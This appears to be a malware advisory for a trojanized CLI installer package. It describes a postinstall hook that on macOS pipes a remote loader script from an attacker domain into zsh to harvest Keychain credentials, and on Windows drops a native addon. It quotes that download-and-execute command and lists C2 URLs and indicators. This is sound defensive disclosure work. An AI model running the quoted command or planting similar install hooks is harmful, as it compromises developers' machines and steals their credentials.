GCVE-110-OSM-2026-9217

The postinstall script (install.cjs) contains a literal shell pipeline `curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh` executed via `spawn('/bin/zsh', ['-c', ...])` on macOS, which downloads and executes an attacker-controlled remote script with no integrity verification. The comment '// Mac: run loader script directly — Keychain dialogs will appear automatically' explicitly reveals the attacker's intent: credential harvesting via macOS Keychain prompts disguised as a 'verification' step. On Windows, the package additionally downloads a native `.node` addon (`pi_natives.win32-x64-baseline.node`) to `~/.apex/natives/` which provides a persistent native code execution vector. The attacker model is a supply-chain trojan targeting developers on both macOS (via live C2 loader) and Windows (via a native module dropped to the home directory), masquerading as a legitimate CLI tool installer. ENTRY install.cjs (install-hook: node install.cjs) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/pi_natives.win32-x64-baseline.node (primary, reconstructed) in install.cjs - custom-c2: https://update.apex-arena-router.com/loader.sh (plaintext) in install.cjs - custom-c2: loader.sh (plaintext) in install.cjs - domains: github.com (c2, plaintext) EXFIL - System Information Collection in apex.cjs: "process.platform" - System Information Collection in bin/apex: "process.platform" - Network Request in install.cjs: "https.get(" - System Information Collection in install.cjs: "process.platform" OBFUSCATION - recovered 1 urls, 1 domains from decoded/deobfuscated content ADDITIONAL FINDINGS - Reconstructed Obfuscated URL in install.cjs: "https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/pi_natives.w..." - Shell Command Execution in apex.cjs: "require('child_process')" PAYLOAD FILES install.cjs INDICATORS (IOCs) - urls: https://hindsight.vectorize.io, https://omp.sh - domains: hindsight.vectorize.io, omp.sh - payloadFileHash: 8e7c7c491d4de92a6b1f43d22bdc1d4237571c449a6f604d557d9549ab432e19